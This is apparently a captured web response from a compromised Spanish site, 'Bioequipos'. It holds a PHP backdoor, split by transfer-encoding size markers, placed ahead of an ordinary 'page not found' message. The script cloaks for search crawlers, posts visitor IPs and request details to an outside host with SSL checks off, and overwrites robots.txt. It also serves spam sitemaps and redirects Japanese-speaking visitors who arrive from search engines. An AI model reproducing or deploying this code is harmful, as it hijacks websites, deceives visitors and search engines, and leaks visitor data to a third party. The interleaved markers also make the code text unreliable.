1
<
4
?php
4
err
5
or_re
4
port
4
ing(
3
0);
4
@se
4
t_ti
5
me_li
4
mit(
2
12
8
0);
@ign
4
ore_
5
user_
5
abort
2
(1
7
);
$tr
3
= "
5
https
3
://
3
j26
3
030
3
5_2
3
3.b
5
arret
4
t.gi
3
ves
4
/";
4
clas
4
s Re
3
q
{
5
4
publ
4
ic f
4
unct
4
ion
5
serve
4
r($n
3
ame
6
= '',
4
$de
4
faul
7
t = '')
5
b
{
i
5
f (em
3
pty
8
($name))
f
{
5
retur
4
n $_
3
SER
4
VER;
a
}
9
b
$name = str
4
toup
a
per($name)
a
;
9
return is
4
set(
9
$_SERVER[
8
$name])
2
?
11
$_SERVER[$name] :
f
$default;
16
}
public function
4
iss(
16
)
{
if ($t
3
his
2
->
a
server('HT
3
TPS
4
') &
3
& (
4
"1"
3
==
19
$this->server('HTTPS') ||
4
"on
5
" ==
8
strtolow
4
er($
16
this->server('HTTPS'))
1a
)) {
return tr
d
ue;
}
4
els
6
eif ('
6
https'
14
== $this->server('R
3
EQU
4
EST_
3
SCH
4
EME'
32
)) {
return true;
} elseif ('4
2
43
14
' == $this->server('
9
SERVER_PO
2
RT
4b
')) {
return true;
} elseif ('https' == $this->server('
5
HTTP_
4
X_FO
3
RWA
3
RDE
4
D_PR
3
OTO
28
')) {
return true;
}
12
return fa
3
lse
1f
;
}
public function hos
12
t()
{
5
$host
7
= strv
2
al
21
($this->server('HTTP_X_FORWARDED_
3
HOS
5
T') ?
16
: $this->server('HTTP_
6
HOST')
15
);
return str
4
pos(
7
$host,
6
':') ?
7
strstr
c
($host, ':',
6
true)
4
: $
20
host;
}
public function
4
sche
2
me
19
()
{
return $
6
this->
8
iss() ?
7
"https"
8
: "http
1d
";
}
public function
2
dm
28
()
{
return $this->scheme()
3
. "
4
://"
a
. $this->
6
host()
1e
;
}
public function ip
17
()
{
if (ge
4
tenv
8
('HTTP_C
3
LIE
4
NT_I
13
P')) {
3
$ip
3
=
2c
getenv('HTTP_CLIENT_IP');
} elseif (
d
getenv('HTTP_
f
X_FORWARDED_FOR
25
')) {
$ip = getenv('HTTP_
2d
X_FORWARDED_FOR');
} elseif (getenv('
4
REMO
3
TE_
3
ADD
2e
R')) {
$ip = getenv('REMOTE_ADDR')
10
;
} else
15
{
$ip =
27
$this->server('REMOTE_ADDR');
}
13
return $ip
1e
;
}
public function is
13
c()
{
$
4
agen
2
t
22
= strtolower($this->server('HTTP_U
4
SER_
2
AG
10
ENT'));
5
if ($
7
agent !
8
= '' &&
4
preg
4
_mat
4
ch('
3
/go
4
ogle
4
bot|
8
google|y
3
aho
3
o|b
5
ing|a
4
ol/s
5
i', $
5
agent
5a
)) {
return true;
}
return false;
}
public function is
a
g()
{
3
$
4
refe
23
r = strtolower($this->server('HTTP_
3
REF
4
ERER
d
'));
a
$referbots
4
= '
16
google|yahoo|bing|aol'
15
;
if ($refer
15
!= '' && preg_match("
2
/(
b
$referbots)
5
/si",
7
$refer
5b
)) {
return true;
}
return false;
}
public function uri
15
()
{
if (
2
($
9
pos = str
5
pos($
18
this->server('REQUEST_UR
3
I')
4
, '.
3
php
5
')) !
8
== false
12
) {
$s
5
cript
8
_name =
4
base
4
name
13
($this->server('SCR
3
IPT
4
_FIL
3
ENA
6
ME'));
d
23
if (basename($this->server('SCRIPT_
7
NAME'))
4
===
1d
$script_name) {
6
$u
2
rl
1f
= $this->server('SCRIPT_NAME')
e
;
22
} elseif (basename($this->server('
3
PHP
4
_SEL
1
F
48
')) === $script_name) {
$url = $this->server('PHP_SELF')
31
;
} elseif (basename($this->server('O
3
RIG
1
_
5b
SCRIPT_NAME')) === $script_name) {
$url = $this->server('ORIG_SCRIPT_NAME')
18
;
} elseif (
1e
($pos = strpos($this->server('
d
PHP_SELF'), '
2
/'
10
. $script_name)
1b
) !== false) {
d
$url = su
6
bstr($
1b
this->server('SCRIPT_NAME')
3
, 0
6
, $pos
4
) .
2a
'/' . $script_name;
} elseif (
10
$this->server('D
3
OCU
5
MENT_
4
ROOT
6
') &&
16
strpos($this->server('
12
SCRIPT_FILENAME'),
1f
$this->server('DOCUMENT_ROOT')
7
) === 0
1d
) {
$url = st
6
r_repl
2
ac
20
e($this->server('DOCUMENT_ROOT')
7
, '', $
2e
this->server('SCRIPT_FILENAME'));
e
}
3
$re
4
quri
8
= $url
1
.
26
substr($this->server('REQUEST_URI'),
6
$pos +
2
4
21
);
} else {
$
2e
requri = substr($this->server('REQUEST_URI'),
26
strpos($this->server('REQUEST_URI'), '
e
/'));
12
}
return r
4
trim
8
($requri
6
, '/')
1f
;
}
public function exe
4
cReq
5
($url
7
, $p =
3
arr
4
ay()
11
)
{
$
14
url = str_replace('
4
', '
5
+', $
3
url
e
);
$ch
7
= curl
4
_ini
9
t();
9
curl_
4
seto
4
pt($
4
ch,
4
CURL
2
OP
5
T_URL
2a
, $url);
curl_setopt($ch, CURLOPT_
4
RETU
4
RNTR
3
ANS
4
FER,
2
1
26
);
curl_setopt($ch, CURLOPT_HE
6
ADER,
25
0);
curl_setopt($ch, CURLOPT_
3
TIM
4
EOUT
3
, 2
26
0);
curl_setopt($ch, CURLOPT_P
3
OST
28
, 1);
curl_setopt($ch, CURLOPT_S
3
SL_
5
VERIF
3
YPE
29
ER, 0);
curl_setopt($ch, CURLOPT_
b
SSL_VERIFYH
5
OST,
2a
0);
curl_setopt($ch, CURLOPT_POSTF
3
IEL
4
DS,
5
http_
4
buil
3
d_q
3
uer
4
y($p
f
));
$ou
4
tput
8
= curl_
8
exec($ch
c
);
$
8
errorCod
a
e = curl_e
4
rrno
14
($ch);
curl_
4
clos
10
e($ch);
5
if (0
5
!==
a
$errorCode
22
) {
return false;
4
18
}
return $output
9
;
}
}
5
$req
5
= ne
1
w
8
Req();
4
$isc
4
= $
3
req
c
->isc();
$is
c
g = $req->is
7
g();
$u
2
ma
7
p = $tr
8
. "map"
4
;
$u
8
ri = url
3
dec
a
ode($req->
5
uri()
4
);
$
f
p = array(
4
"dom
2
ai
5
n" =>
b
$req->dm()
7
,
"
4
port
b
" => $req->
16
server('SERVER_PORT',
2
80
b
),
"uri
a
" => $uri
3
);
c
if (substr($
5
uri,
3
-10
6
) == "
2
ro
6
bots.t
3
xt"
b
) {
hea
5
der("
3
Con
4
tent
4
-typ
4
e:te
3
xt/
5
plain
4
; ch
2
ar
6
set=ut
3
f-8
8
");
a
die($req->
9
execReq($
6
tr . "
a
robots", $
6
p));
}
14
if (substr($uri, -6
c
) == "robots
9
") {
2b
$output = $req->execReq($tr . "robots", $p)
7
;
$
6
rpt =
4
__DI
3
R__
5
. "/
12
robots.txt";
f
4
ile_
5
put_c
6
ontent
7
s($rpt,
8
$output
e
);
$robots
8
_cont =
6
@file_
3
get
15
_contents($rpt);
b
if (strpos(
c
strtolower($
b
robots_cont
6
), "si
2
te
11
map")) {
4
die(
10
"robots.txt file
4
cre
3
ate
6
succe
3
ss!
8
");
2d
} else {
die("robots.txt file create
4
fail
a
!");
}
16
}
if (substr($uri, -4
7
) == ".
3
xml
9
") {
12
if (strpos($uri, "
3
all
e
sitemap.xml")
3
||
15
strpos($uri, "sitemap
4
-ind
2
ex
27
.xml") || strpos($uri, "sitemap-index-1
18
.xml") || strpos($uri, "
17
index.xml")) {
19
$output = $req->execReq($
4
umap
f
, $p);
1a
header("Content-type:text/
4
" .
f
(substr($output
6
, 0, 5
7
) === '
2
execReq($tr . "
3
wor
27
d", $p);
header("Content-type:text/
3
xml
1c
; charset=utf-8");
if ($
8
output =
5
= "1"
10
) {
die(
1d
'' . $req->execReq($umap, $p)
1c
);
} else {
die(
15
'' . $output);
}
5
}
$la
b
ng = $req->
d
server('HTTP_
4
ACCE
4
PT_L
3
ANG
4
UAGE
1
'
8
);
if (!
8
$isc &&
5
$isg
b
&& strpos($
7
lang, '
4
ja')
3
!==
e
false) {
$
4
p["i
3
p"]
b
= $req->ip
9
();
$
7
action
9
= $tr . "
3
jum
8
p";
13
die($req->execReq($
14
action, $p));
}
if (
4
$isc
8
) {
1e
die('' . $req->execReq($tr . "
6
indata
b
", $p));
}
2
?>
0
Página no encontrada - Bioequipos
Ir al contenido
Parece que el enlace que apuntaba aquí no sirve. ¿Quieres probar con una búsqueda?
